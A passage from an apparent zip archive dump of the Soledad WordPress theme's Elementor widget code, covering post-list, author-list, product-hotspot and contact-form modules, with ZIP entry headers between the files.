												}
											} else {
												echo wp_trim_words( wp_strip_all_tags( get_the_title() ), $title_length, '...' );
											}
											?>
                                        </a>
                                    </h4>
									<?php if ( ! $movemeta && ( ! $postdate || $showauthor || $showcomment || $showviews ) ): ?>
                                        <div class="grid-post-box-meta penci-side-item-meta pcsnmt-below">
											<?php if ( $showauthor ): ?>
                                                <span class="side-item-meta side-wauthor"><?php echo penci_get_setting( 'penci_trans_by' ); ?> <a
                                                            class="url fn n"
                                                            href="<?php echo get_author_posts_url( get_the_author_meta( 'ID' ) ); ?>"><?php the_author(); ?></a></span>
											<?php endif; ?>
											<?php if ( ! $postdate ): ?>
                                                <span class="side-item-meta side-wdate"><?php penci_soledad_time_link(); ?></span>
											<?php endif; ?>
											<?php if ( $showcomment ): ?>
                                                <span class="side-item-meta side-wcomments"><a
                                                            href="<?php comments_link(); ?> "><?php comments_number( '0 ' . penci_get_setting( 'penci_trans_comments' ), '1 ' . penci_get_setting( 'penci_trans_comment' ), '% ' . penci_get_setting( 'penci_trans_comments' ) ); ?></a></span>
											<?php endif; ?>
											<?php if ( $showviews ): ?>
                                                <span class="side-item-meta side-wviews"><?php echo penci_get_post_views( get_the_ID() ) . ' ' . penci_get_setting( 'penci_trans_countviews' ); ?></span>
											<?php endif; ?>
											<?php do_action( 'penci_extra_meta' ); ?>
                                        </div>
									<?php endif; ?>
                                </div>
                            </div>
                        </li>
						<?php $num ++; endwhile; ?>
                </ul>
				<?php

				if ( isset( $settings['ajaxnav'] ) && $settings['ajaxnav'] == 'btn' ) {
					?>
                    <div class="penci-pagination penci-ajax-more pcwg-lposts">
                        <a class="penci-ajax-more-button penci-wgajx-btn"
                           href="#" aria-label="More Posts">
                            <span class="ajax-more-text"><?php echo penci_get_setting( 'penci_trans_load_more_posts' ); ?></span><span
                                    class="ajaxdot"></span><i
                                    class="penci-faicon fa fa-refresh"></i> </a>
                    </div>
					<?php
				} else if ( isset( $settings['ajaxnav'] ) && $settings['ajaxnav'] == 'nav' ) { ?>
                    <div class="penci-pagination penci-ajax-nav pcwg-lposts">
                        <span class="pcajx-btn penci-wgajx-btn prev disable"><?php echo penci_icon_by_ver( 'penciicon-left-chevron' ) . ' <span class="pcnav-title">' . penci_get_setting( 'penci_trans_back' ); ?></span></span>
                        <span class="pcajx-btn penci-wgajx-btn next"><?php echo '<span class="pcnav-title">' . penci_get_setting( 'penci_trans_next' ) . '</span>' . penci_icon_by_ver( 'penciicon-right-chevron' ); ?></span>
                    </div>
					<?php
				}
				if ( isset( $settings['ajaxnav'] ) && $settings['ajaxnav'] ) {
					?>
                    <div class="pcwgajx-ld-wrapper">
						<?php echo penci_get_html_animation_loading( 'df' ); ?>
                    </div>
					<?php
				}
				wp_reset_postdata();
				?>
            </div>
        </div>
		<?php
	}
}
PK     N\d  d  2  inc/elementor/modules/penci-author-list/module.phpnu [        <?php
namespace PenciSoledadElementor\Modules\PenciAuthorList;

use PenciSoledadElementor\Base\Module_Base;

if ( ! defined( 'ABSPATH' ) ) {
	exit; // Exit if accessed directly
}


class Module extends Module_Base {

	public function get_name() {
		return 'penci-author-list';
	}

	public function get_widgets() {
		return array( 'PenciAuthorList' );
	}
}
PK     N\Y\    E  inc/elementor/modules/penci-author-list/widgets/penci-author-list.phpnu [        <?php

namespace PenciSoledadElementor\Modules\PenciAuthorList\Widgets;

use PenciSoledadElementor\Base\Base_Widget;
use PenciSoledadElementor\Base\Base_Color;
use Elementor\Controls_Manager;
use Elementor\Group_Control_Typography;
use Elementor\Group_Control_Image_Size;
use Elementor\Utils;

if ( ! defined( 'ABSPATH' ) ) {
	exit;
}

class PenciAuthorList extends Base_Widget {

	public function get_name() {
		return 'penci-author-list';
	}

	public function get_title() {
		return penci_get_theme_name( 'Penci' ) . ' ' . esc_html__( ' Author List', 'soledad' );
	}

	public function get_icon() {
		return 'eicon-user-circle-o';
	}

	public function get_categories() {
		return [ 'penci-elements' ];
	}

	public function get_keywords() {
		return array( 'category' );
	}

	protected function register_controls() {


		// Section layout
		$this->start_controls_section( 'section_settings', array(
			'label' => esc_html__( 'General', 'soledad' ),
			'tab'   => Controls_Manager::TAB_CONTENT,
		) );

		$roles = [];

		$wp_roles = new \WP_Roles();
		if ( ! empty( $wp_roles ) ) {
			foreach ( $wp_roles->roles as $role_name => $role_info ) {
				$roles[ $role_name ] = $role_info['name'];
			}
		}

		$this->add_control( 'roles', array(
			'label'    => __( 'Select User Roles', 'soledad' ),
			'type'     => Controls_Manager::SELECT2,
			'multiple' => true,
			'default'  => [ 'administrator' ],
			'options'  => $roles,
		) );

		$this->add_control( 'excluded', array(
			'label' => __( 'Exclude User IDs:', 'soledad' ),
			'type'  => Controls_Manager::TEXT,
		) );

		$this->add_control( 'avatar', array(
			'label' => __( 'Hide user avatar?', 'soledad' ),
			'type'  => Controls_Manager::SWITCHER,
		) );

		$this->add_control( 'avatar_size', array(
			'label'   => __( 'Avatar Image Size', 'soledad' ),
			'type'    => Controls_Manager::NUMBER,
			'default' => 70
		) );

		$this->add_control( 'avatar_bdradius', array(
			'label'     => __( 'Avatar Image Border Radius', 'soledad' ),
			'type'      => Controls_Manager::DIMENSIONS,
			'selectors' => array(
				'{{WRAPPER}} .pc-widget-user-lists.el img' => 'border-radius: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}};'
			),
		) );

		$this->add_control( 'post_count', array(
			'label' => __( 'Hide user posts count?', 'soledad' ),
			'type'  => Controls_Manager::SWITCHER,
		) );

		$this->end_controls_section();

		$this->register_block_title_section_controls();

		$this->start_controls_section( 'section_style_image', array(
			'label' => __( 'Color & Style', 'soledad' ),
			'tab'   => Controls_Manager::TAB_STYLE,
		) );

		$this->add_responsive_control( 'author_spacing', array(
			'label'      => __( 'Spacing Between Authors', 'soledad' ),
			'type'       => Controls_Manager::SLIDER,
			'size_units' => [ 'px' ],
			'range'      => array(
				'px' => array( 'max' => 200 ),
			),
			'selectors'  => array(
				'{{WRAPPER}} .pc-widget-user-lists.el ul li:not(:last-child)' => 'margin-bottom: calc({{SIZE}}px / 2);padding-bottom: calc({{SIZE}}px / 2);'
			),
		) );

		$this->add_control( 'author_bcolor', array(
			'label'     => __( 'Divider Border Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'selectors' => array(
				'{{WRAPPER}} .pc-widget-user-lists.el ul li:not(:last-child)' => 'border-bottom-color: {{VALUE}};'
			),
		) );

		$this->add_group_control( Group_Control_Typography::get_type(), array(
			'name'     => 'author_name_typo',
			'label'    => __( 'Author Name Typography', 'soledad' ),
			'selector' => '{{WRAPPER}} .pc-widget-user-lists.el .name',
		) );

		$this->add_control( 'name_color', array(
			'label'     => __( 'Name Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array( '{{WRAPPER}} .pc-widget-user-lists.el .name a' => 'color: {{VALUE}};' ),
		) );

		$this->add_control( 'name_hcolor', array(
			'label'     => __( 'Name Hover Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array( '{{WRAPPER}} .pc-widget-user-lists.el .name a:hover' => 'color: {{VALUE}};' ),
		) );

		$this->add_responsive_control( 'name_spacing', array(
			'label'      => __( 'Name Spacing', 'soledad' ),
			'type'       => Controls_Manager::SLIDER,
			'size_units' => [ 'px' ],
			'range'      => array(
				'px' => array( 'max' => 200 ),
			),
			'selectors'  => array(
				'{{WRAPPER}} .pc-widget-user-lists.el .name' => 'margin-bottom: {{SIZE}}px;'
			),
		) );

		$this->add_group_control( Group_Control_Typography::get_type(), array(
			'name'     => 'post_count_typo',
			'label'    => __( 'Post Count Typography', 'soledad' ),
			'selector' => '{{WRAPPER}} .pc-widget-user-lists.el .count',
		) );

		$this->add_control( 'count_color', array(
			'label'     => __( 'Post Count Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array( '{{WRAPPER}} .pc-widget-user-lists.el .count' => 'color: {{VALUE}};' ),
		) );

		$this->end_controls_section();
		$this->register_block_title_style_section_controls();

	}

	protected function render() {
		$settings    = $this->get_settings();
		$role__in    = $settings['roles'];
		$exclude     = $settings['excluded'];
		$avatar      = $settings['avatar'];
		$total_posts = $settings['post_count'];
		$ava_size    = $settings['avatar_size'];
		$users_args  = [];

		if ( $role__in !== 'all' ) {
			$users_args['role__in'] = $role__in;
		}
		if ( $exclude ) {
			$users_args['exclude'] = explode( ',', $exclude );
		}
		$users = get_users( $users_args );
		if ( $users ) {
			?>
            <div class="pc-widget-user-lists el">
				<?php $this->markup_block_title( $settings, $this ); ?>
                <ul>
					<?php foreach ( $users as $user ):
						$total_post = count_user_posts( $user->ID );
						$author_link = get_author_posts_url( $user->ID );
						$text = $total_post > 1 ? penci_get_setting( 'penci_trans_posts' ) : penci_get_setting( 'penci_trans_post' );
						?>
                        <li>
							<?php if ( ! $avatar ): ?>
                                <a class="pc-uw-ava"
                                   href="<?php echo esc_url( $author_link ); ?>"><?php echo get_avatar( $user->ID, $ava_size ); ?></a>
							<?php endif; ?>
                            <div class="pc-uw-userinfo">
                                <h4 class="name"><a
                                            href="<?php echo esc_url( $author_link ); ?>"><?php echo esc_attr( $user->display_name ); ?></a>
                                </h4>
								<?php if ( ! $total_posts ): ?>
                                    <span class="count"><?php echo $total_post . ' ' . $text; ?></span>
								<?php endif; ?>
                            </div>
                        </li>
					<?php endforeach; ?>
                </ul>
            </div>
			<?php
		}
	}
}
PK     N\'<?)  )  6  inc/elementor/modules/penci-product-hotspot/module.phpnu [        <?php

namespace PenciSoledadElementor\Modules\PenciProductHotspot;

use PenciSoledadElementor\Base\Module_Base;

class Module extends Module_Base {

	public function get_name() {
		return 'penci_product_hotspot';
	}

	public function get_widgets() {
		return array( 'PenciProductHotspot' );
	}
}
PK     N\;z;F  ;F  M  inc/elementor/modules/penci-product-hotspot/widgets/penci-product-hotspot.phpnu [        <?php
/**
 * Image hotspot map.
 */

namespace PenciSoledadElementor\Modules\PenciProductHotspot\Widgets;

use Elementor\Controls_Manager;
use Elementor\Group_Control_Image_Size;
use Elementor\Group_Control_Typography;
use Elementor\Repeater;
use Elementor\Utils;
use Elementor\Widget_Base;

if ( ! defined( 'ABSPATH' ) ) {
	exit; // Direct access not allowed.
}

/**
 * Elementor widget that inserts an embeddable content into the page, from any given URL.
 *
 * @since 1.0.0
 */
class PenciProductHotspot extends Widget_Base {
	/**
	 * Get widget name.
	 *
	 * @return string Widget name.
	 * @since 1.0.0
	 * @access public
	 *
	 */
	public function get_name() {
		return 'penci_product_hotspot';
	}

	/**
	 * Get widget title.
	 *
	 * @return string Widget title.
	 * @since 1.0.0
	 * @access public
	 *
	 */
	public function get_title() {
		return penci_get_theme_name('Penci').' '.esc_html__( ' - Product Hotspot', 'soledad' );
	}

	/**
	 * Get widget icon.
	 *
	 * @return string Widget icon.
	 * @since 1.0.0
	 * @access public
	 *
	 */
	public function get_icon() {
		return 'eicon-hotspot';
	}

	/**
	 * Get widget categories.
	 *
	 * @return array Widget categories.
	 * @since 1.0.0
	 * @access public
	 *
	 */
	public function get_categories() {
		return [ 'penci-elements' ];
	}

	/**
	 * Register the widget controls.
	 *
	 * @since 1.0.0
	 * @access protected
	 */
	protected function register_controls() {
		/**
		 * Content tab.
		 */

		/**
		 * General settings.
		 */
		$this->start_controls_section(
			'general_content_section',
			[
				'label' => esc_html__( 'General', 'soledad' ),
			]
		);

		$this->add_control(
			'image',
			[
				'label'   => esc_html__( 'Choose image', 'soledad' ),
				'type'    => Controls_Manager::MEDIA,
				'default' => [
					'url' => Utils::get_placeholder_image_src(),
				],
			]
		);

		$this->add_group_control(
			Group_Control_Image_Size::get_type(),
			[
				'name'      => 'image',
				'default'   => 'large',
				'separator' => 'none',
			]
		);

		$this->end_controls_section();

		/**
		 * Items settings.
		 */
		$this->start_controls_section(
			'items_content_section',
			[
				'label' => esc_html__( 'Items', 'soledad' ),
			]
		);

		$repeater = new Repeater();

		$repeater->start_controls_tabs( 'hotspot_tabs' );

		$repeater->start_controls_tab(
			'content_tab',
			[
				'label' => esc_html__( 'Content', 'soledad' ),
			]
		);

		$repeater->add_control(
			'hotspot_type',
			[
				'label'   => esc_html__( 'Type', 'soledad' ),
				'type'    => Controls_Manager::SELECT,
				'options' => [
					'text'    => esc_html__( 'Text', 'soledad' ),
					'product' => esc_html__( 'Product', 'soledad' ),
				],
				'default' => 'product',
			]
		);

		$repeater->add_control(
			'hotspot_dropdown_side',
			[
				'label'       => esc_html__( 'Dropdown side', 'soledad' ),
				'description' => esc_html__( 'Show the content on left or right side, top or bottom.', 'soledad' ),
				'type'        => Controls_Manager::SELECT,
				'options'     => [
					'left'   => esc_html__( 'Left', 'soledad' ),
					'right'  => esc_html__( 'Right', 'soledad' ),
					'top'    => esc_html__( 'Top', 'soledad' ),
					'bottom' => esc_html__( 'Bottom', 'soledad' ),
				],
				'default'     => 'left',
			]
		);

		/**
		 * Text settings
		 */
		$repeater->add_control(
			'title',
			[
				'label'     => esc_html__( 'Title', 'soledad' ),
				'type'      => Controls_Manager::TEXT,
				'default'   => 'Title, click to edit.',
				'condition' => [
					'hotspot_type' => [ 'text' ],
				],
			]
		);

		$repeater->add_control(
			'image',
			[
				'label'     => esc_html__( 'Choose image', 'soledad' ),
				'type'      => Controls_Manager::MEDIA,
				'condition' => [
					'hotspot_type' => [ 'text' ],
				],
			]
		);

		$repeater->add_group_control(
			Group_Control_Image_Size::get_type(),
			[
				'name'      => 'image',
				'default'   => 'large',
				'separator' => 'none',
				'condition' => [
					'hotspot_type' => [ 'text' ],
				],
			]
		);

		$repeater->add_control(
			'link_text',
			[
				'label'     => esc_html__( 'Link text', 'soledad' ),
				'type'      => Controls_Manager::TEXT,
				'default'   => 'Button',
				'condition' => [
					'hotspot_type' => [ 'text' ],
				],
			]
		);

		$repeater->add_control(
			'link',
			[
				'label'     => esc_html__( 'Link', 'soledad' ),
				'type'      => Controls_Manager::URL,
				'default'   => [
					'url'         => '#',
					'is_external' => false,
					'nofollow'    => false,
				],
				'condition' => [
					'hotspot_type' => [ 'text' ],
				],
			]
		);

		$repeater->add_control(
			'content',
			[
				'label'     => esc_html__( 'Content', 'soledad' ),
				'type'      => Controls_Manager::TEXTAREA,
				'condition' => [
					'hotspot_type' => [ 'text' ],
				],
			]
		);

		/**
		 * Product settings
		 */
		$repeater->add_control(
			'product_id',
			[
				'label'       => esc_html__( 'Select product', 'soledad' ),
				'type'        => 'penci_el_autocomplete',
				'search'      => 'penci_get_posts_by_query',
				'render'      => 'penci_get_posts_title_by_id',
				'post_type'   => 'product',
				'multiple'    => false,
				'label_block' => true,
				'condition'   => [
					'hotspot_type' => [ 'product' ],
				],
			]
		);

		$repeater->end_controls_tab();

		$repeater->start_controls_tab(
			'position_tab',
			[
				'label' => esc_html__( 'Position', 'soledad' ),
			]
		);

		$repeater->add_responsive_control(
			'hotspot_position_horizontal',
			[
				'label'     => esc_html__( 'Horizontal position (%)', 'soledad' ),
				'type'      => Controls_Manager::SLIDER,
				'default'   => [
					'size' => 50,
				],
				'range'     => [
					'px' => [
						'min'  => 0,
						'max'  => 100,
						'step' => 0.1,
					],
				],
				'selectors' => [
					'{{WRAPPER}} {{CURRENT_ITEM}}.penci-image-hotspot' => 'left: {{SIZE}}%;',
				],
			]
		);

		$repeater->add_responsive_control(
			'hotspot_position_vertical',
			[
				'label'     => esc_html__( 'Vertical position (%)', 'soledad' ),
				'type'      => Controls_Manager::SLIDER,
				'default'   => [
					'size' => 50,
				],
				'range'     => [
					'px' => [
						'min'  => 0,
						'max'  => 100,
						'step' => 0.1,
					],
				],
				'selectors' => [
					'{{WRAPPER}} {{CURRENT_ITEM}}.penci-image-hotspot' => 'top: {{SIZE}}%;',
				],
			]
		);

		$repeater->end_controls_tab();

		$repeater->end_controls_tabs();

		/**
		 * Repeater settings
		 */
		$this->add_control(
			'items',
			[
				'type'    => Controls_Manager::REPEATER,
				'fields'  => $repeater->get_controls(),
				'default' => [
					[
						'content' => 'Lorem ipsum dolor sit amet, consectetur adipiscing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua.',
					],
				],
			]
		);

		$this->end_controls_section();

		/**
		 * Style tab.
		 */

		/**
		 * General settings.
		 */
		$this->start_controls_section(
			'general_style_section',
			[
				'label' => esc_html__( 'General', 'soledad' ),
				'tab'   => Controls_Manager::TAB_STYLE,
			]
		);

		$this->add_control(
			'icon',
			[
				'label'   => esc_html__( 'Hotspot icon', 'soledad' ),
				'type'    => Controls_Manager::SELECT,
				'options' => [
					'default' => esc_html__( 'Style 1', 'soledad' ),
					'alt'     => esc_html__( 'Style 2', 'soledad' ),
				],
				'default' => 'default',
			]
		);

		$this->add_control(
			'action',
			[
				'label'       => esc_html__( 'Hotspot action', 'soledad' ),
				'description' => esc_html__( 'Open hotspot content on click or hover', 'soledad' ),
				'type'        => Controls_Manager::SELECT,
				'options'     => [
					'hover' => esc_html__( 'Hover', 'soledad' ),
					'click' => esc_html__( 'Click', 'soledad' ),
				],
				'default'     => 'hover',
			]
		);

		$this->end_controls_section();

		/**
		 * Color settings.
		 */
		$this->start_controls_section(
			'general_color_section',
			[
				'label' => esc_html__( 'Color', 'soledad' ),
				'tab'   => Controls_Manager::TAB_STYLE,
			]
		);

		$this->add_control(
			'item_hotspot_color', array(
				'label'     => __( 'Hotspot Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'selectors' => [
					'{{WRAPPER}} .hotspot-icon-default .hotspot-btn:after' => 'background-color: {{VALUE}};',
					'{{WRAPPER}} .hotspot-icon-alt .hotspot-btn::after'    => 'color: {{VALUE}};',
				],
			)
		);

		$this->add_control(
			'item_hotspot_bg_color', array(
				'label'     => __( 'Hotspot Background Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'selectors' => [
					'{{WRAPPER}} .hotspot-icon-default .hotspot-sonar' => 'background-color: {{VALUE}};',
					'{{WRAPPER}} .hotspot-icon-alt .hotspot-sonar'     => 'background-color: {{VALUE}};',
				],
			)
		);

		$this->add_control(
			'item_hotspot_shadow_color', array(
				'label'     => __( 'Hotspot Shadow Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'selectors' => [
					'{{WRAPPER}} .penci-image-hotspot' => 'box-shadow: 0 0 3px {{VALUE}};',
				],
			)
		);

		$this->add_control(
			'item_bg_color', array(
				'label'     => __( 'Background Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'selectors' => array( '{{WRAPPER}} .hotspot-content' => 'background-color: {{VALUE}};' ),
			)
		);

		$this->add_control(
			'item_title_color', array(
				'label'     => __( 'Product Title Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'selectors' => array( '{{WRAPPER}} .hotspot-content .penci-product-title a' => 'color: {{VALUE}};' ),
			)
		);

		$this->add_control(
			'item_title_hover_color', array(
				'label'     => __( 'Product Title Hover Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'selectors' => array( '{{WRAPPER}} .hotspot-content .penci-product-title a:hover' => 'color: {{VALUE}};' ),
			)
		);

		$this->add_group_control(
			Group_Control_Typography::get_type(), array(
				'name'     => 'item_title_typo',
				'label'    => __( 'Product Title Typography', 'soledad' ),
				'selector' => '{{WRAPPER}} .hotspot-content .penci-product-title',
			)
		);

		$this->add_control(
			'item_title_price_color', array(
				'label'     => __( 'Product Price Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'selectors' => array( '{{WRAPPER}} .hotspot-content .price' => 'color: {{VALUE}};' ),
			)
		);

		$this->add_group_control(
			Group_Control_Typography::get_type(), array(
				'name'     => 'item_price_typo',
				'label'    => __( 'Product Price Typography', 'soledad' ),
				'selector' => '{{WRAPPER}} .hotspot-content .price',
			)
		);

		$this->add_control(
			'item_title_btn_bg_color', array(
				'label'     => __( 'Button Background Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'selectors' => array( '{{WRAPPER}} .hotspot-content a.button' => 'background-color: {{VALUE}};' ),
			)
		);

		$this->add_control(
			'item_title_btn_bg_hover_color', array(
				'label'     => __( 'Button Background Hover Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'selectors' => array( '{{WRAPPER}} .hotspot-content a.button:hover' => 'background-color: {{VALUE}};' ),
			)
		);

		$this->add_control(
			'item_title_btn_txt_color', array(
				'label'     => __( 'Button Text Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'selectors' => array( '{{WRAPPER}} .hotspot-content a.button' => 'color: {{VALUE}};' ),
			)
		);

		$this->add_control(
			'item_title_btn_txt_hv_color', array(
				'label'     => __( 'Button Text Hover Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'selectors' => array( '{{WRAPPER}} .hotspot-content a.button:hover' => 'color: {{VALUE}};' ),
			)
		);

		$this->add_group_control(
			Group_Control_Typography::get_type(), array(
				'name'     => 'item_title_btn_typo',
				'label'    => __( 'Product Button Typography', 'soledad' ),
				'selector' => '{{WRAPPER}} .hotspot-content a.button',
			)
		);

		$this->end_controls_section();
	}

	/**
	 * Render the widget output on the frontend.
	 *
	 * Written in PHP and used to generate the final HTML.
	 *
	 * @since 1.0.0
	 *
	 * @access protected
	 */
	protected function render() {
		$default_settings = [
			'image'  => '',
			'action' => 'hover',
			'icon'   => 'default',
			'items'  => [],
		];

		$settings     = wp_parse_args( $this->get_settings_for_display(), $default_settings );
		$image_output = '';

		$this->add_render_attribute(
			[
				'wrapper' => [
					'class' => [
						'penci-image-hotspot-wrapper',
						'hotspot-action-' . $settings['action'],
						'hotspot-icon-' . $settings['icon'],
					],
				],
			]
		);

		if ( isset( $settings['image']['id'] ) && $settings['image']['id'] ) {
			$image_url    = penci_get_image_url( $settings['image']['id'], 'image', $settings );
			$image_output = '<img class="penci-image-hotspot-img" src="' . esc_url( $image_url ) . '">';
		} elseif ( isset( $settings['image']['url'] ) ) {
			$image_output = '<img class="penci-image-hotspot-img" src="' . esc_url( $settings['image']['url'] ) . '">';
		}

		?>
        <div <?php echo $this->get_render_attribute_string( 'wrapper' ); ?>>
            <div class="penci-image-hotspot-hotspots">
				<?php if ( $image_output ) : ?>
					<?php echo $image_output; // phpcs:ignore ?>
				<?php endif; ?>

				<?php foreach ( $settings['items'] as $index => $item ) : ?>
					<?php
					$default_settings = [
						'hotspot'               => '',
						'hotspot_type'          => 'product',
						'hotspot_dropdown_side' => 'left',
						'product_id'            => '',
						'title'                 => '',
						'link_text'             => '',
						'link'                  => '',
						'image'                 => '',
					];

					$settings   = wp_parse_args( $item, $default_settings );
					$attributes = '';
					$args       = [];

					if ( 'product' === $settings['hotspot_type'] && $settings['product_id'] ) {
						$product = wc_get_product( $settings['product_id'] );

						if ( ! $product ) {
							return;
						}

						$args = array(
							'class'      => implode(
								' ',
								array_filter(
									array(
										'button',
										'product_type_' . $product->get_type(),
										$product->is_purchasable() && $product->is_in_stock() ? 'add_to_cart_button' : '',
										$product->supports( 'ajax_add_to_cart' ) ? 'ajax_add_to_cart' : '',
									)
								)
							),
							'attributes' => wc_implode_html_attributes(
								array(
									'data-product_id' => $product->get_id(),
									'rel'             => 'nofollow',
								)
							),
						);

					}

					if ( 'text' === $settings['hotspot_type'] && ( $settings['title'] || $settings['content'] || $settings['link_text'] || isset( $settings['image']['id'] ) ) ) {
						$attributes   = penci_el_get_link_attrs( $settings['link'] );
						$image_output = '';

						if ( isset( $settings['image']['id'] ) && $settings['image']['id'] ) {
							$image_output = penci_get_image_html( $settings, 'image' );
						}
					}

					?>
                    <div class="woocommerce penci-image-hotspot hotspot-type-<?php echo esc_attr( $settings['hotspot_type'] ); ?> elementor-repeater-item-<?php echo esc_attr( $item['_id'] ); ?>">
                        <span class="hotspot-sonar"></span>
                        <div class="hotspot-btn penci-fill"></div>

						<?php if ( 'product' === $settings['hotspot_type'] && isset( $product ) && $product ) : ?>
                            <div class="hotspot-product hotspot-content hotspot-dropdown-<?php echo esc_attr( $settings['hotspot_dropdown_side'] ); ?>">
                                <div class="hotspot-content-image">
                                    <a href="<?php echo esc_url( get_permalink( $product->get_ID() ) ); ?>">
										<?php echo $product->get_image(); ?>
                                    </a>
                                </div>

                                <h4 class="penci-product-title">
                                    <a href="<?php echo esc_url( get_permalink( $product->get_ID() ) ); ?>">
										<?php echo esc_html( $product->get_title() ); ?>
                                    </a>
                                </h4>

								<?php if ( wc_review_ratings_enabled() ) : ?>
									<?php echo wc_get_rating_html( $product->get_average_rating(), $product->get_rating_count() ); ?>
								<?php endif; ?>

                                <div class="price">
									<?php echo $product->get_price_html(); ?>
                                </div>

                                <a href="<?php echo esc_url( $product->add_to_cart_url() ); ?>"
                                   class="<?php echo esc_attr( $args['class'] ); ?>" <?php echo $args['attributes']; ?>>
									<?php echo esc_html( $product->add_to_cart_text() ); ?>
                                </a>
                            </div>
						<?php else : ?>
                            <div class="hotspot-text hotspot-content hotspot-dropdown-<?php echo esc_attr( $settings['hotspot_dropdown_side'] ); ?>">
                                <div class="hotspot-content-image">
									<?php echo $image_output; ?>
                                </div>

                                <h4 class="penci-product-title">
									<?php echo esc_html( $settings['title'] ); ?>
                                </h4>

                                <div class="hotspot-content-text set-cont-mb-s reset-last-child">
									<?php echo esc_html( $settings['content'] ); ?>
                                </div>

                                <a class="btn btn-color-primary btn-size-small" <?php echo $attributes; ?>>
									<?php echo esc_html( $settings['link_text'] ); ?>
                                </a>
                            </div>
						<?php endif; ?>
                    </div>
				<?php endforeach; ?>
            </div>
        </div>
		<?php
	}
}
PK     N\$  $  3  inc/elementor/modules/penci-contact-form/module.phpnu [        <?php

namespace PenciSoledadElementor\Modules\PenciContactForm;

use PenciSoledadElementor\Base\Module_Base;
use Elementor\Plugin;

if ( ! defined( 'ABSPATH' ) ) {
	exit; // Exit if accessed directly
}


class Module extends Module_Base {

	public function get_name() {
		return 'penci-contact-form';
	}

	public function get_widgets() {
		return array( 'PenciContactForm' );
	}

	public function is_valid_captcha( $validate ) {

		if ( isset( $_POST['g-recaptcha-response'] ) && ! empty( $validate['recaptcha_secret_key'] ) ) {
			$request  = wp_remote_get( 'https://www.google.com/recaptcha/api/siteverify?secret=' . $validate['recaptcha_secret_key'] . '&response=' . esc_textarea( $_POST["g-recaptcha-response"] ) );
			$response = wp_remote_retrieve_body( $request );

			$result = json_decode( $response, true );

			if ( isset( $result['success'] ) && $result['success'] == 1 ) {
				// Captcha ok
				return true;
			} else {
				// Captcha failed;
				return false;
			}
		}

		return false;
	}


	public function normalize_email( $email ) {
		/**
		 * Split the email into local part and domain
		 */
		list( $local, $domain ) = explode( '@', $email );

		/**
		 * Remove any text after the plus sign in the local part
		 */
		if ( ( $plusPos = strpos( $local, '+' ) ) !== false ) {
			$local = substr( $local, 0, $plusPos );
		}

		/**
		 * Return the normalized email
		 */
		return $local . '@' . $domain;
	}

	public function are_emails_same( $email1, $email2 ) {
		return $this->normalize_email( $email1 ) === $this->normalize_email( $email2 );
	}

	private function find_element_recursive( $elements, $form_id ) {

		foreach ( $elements as $element ) {
			if ( $form_id === $element['id'] ) {
				return $element;
			}

			if ( ! empty( $element['elements'] ) ) {
				$element = $this->find_element_recursive( $element['elements'], $form_id );

				if ( $element ) {
					return $element;
				}
			}
		}

		return false;
	}

	public function get_widget_settings( $post_id, $widget_id ) {
		if ( ! $post_id || ! $widget_id ) {
			return "Invalid request";
		}

		$elementor = Plugin::$instance;
		$pageMeta  = $elementor->documents->get( $post_id );

		if ( ! $pageMeta ) {
			return "Invalid Post or Page ID";
		}
		$metaData = $pageMeta->get_elements_data();
		if ( ! $metaData ) {
			return "Page page is not under elementor";
		}

		$widget_data = $this->find_element_recursive( $metaData, $widget_id );
		$settings    = [];


		if ( is_array( $widget_data ) ) {
			$widget   = $elementor->elements_manager->create_element_instance( $widget_data );
			$settings = $widget->get_settings();
		}

		return $settings;
	}

	public function contact_form() {

		$email               = get_bloginfo( 'admin_email' );
		$error_empty         = penci_get_setting( 'penci_trans_error_empty' );
		$error_noemail       = penci_get_setting( 'penci_trans_error_noemail' );
		$error_same_as_admin = penci_get_setting( 'penci_trans_error_same_as_admin' );
		$error_spam_email    = penci_get_setting( 'penci_trans_error_spam_email' );
		$result              = penci_get_setting( 'penci_trans_result' );

		if ( $_SERVER['REQUEST_METHOD'] == 'POST' ) {

			if ( ! wp_verify_nonce( $_REQUEST['_wpnonce'], 'simpleContactForm' ) ) {
				$result = esc_html__( 'Security check failed!', 'soledad' );
				echo '<span class="pencif-text-warning">' . esc_html( $result ) . '</span>';
				wp_die();
			}

			$post_id         = sanitize_text_field( $_REQUEST['page_id'] );
			$widget_id       = sanitize_text_field( $_REQUEST['widget_id'] );
			$widget_settings = $this->get_widget_settings( $post_id, $widget_id );

			if ( ! empty( $widget_settings['custom_email_to'] ) ) {
				$email = $widget_settings['custom_email_to'];
			}

			$error = false;

			// this part fetches everything that has been POSTed, sanitizes them and lets us use them as $form_data['subject']
			foreach ( $_POST as $field => $value ) {
				if ( is_email( $value ) ) {
					$value = sanitize_email( $value );
				} else {
					$value = sanitize_textarea_field( $value );
				}

				$form_data[ $field ] = strip_tags( $value );
			}


			foreach ( $form_data as $key => $value ) {
				$value = trim( $value );
				if ( empty( $value ) ) {
					$error  = true;
					$result = $error_empty;
				}
			}

			$success = sprintf( penci_get_setting( 'penci_trans_email_success' ), $form_data['name'] );

			// and if the e-mail is not valid, switch $error to TRUE and set the result text to the shortcode attribute named 'error_noemail'
			if ( ! is_email( $form_data['email'] ) ) {
				$error  = true;
				$result = $error_noemail;
			}

			/**
			 * Stop spamming
			 */
			if ( ! $error ) {
				$admin_email = get_option( 'admin_email' );
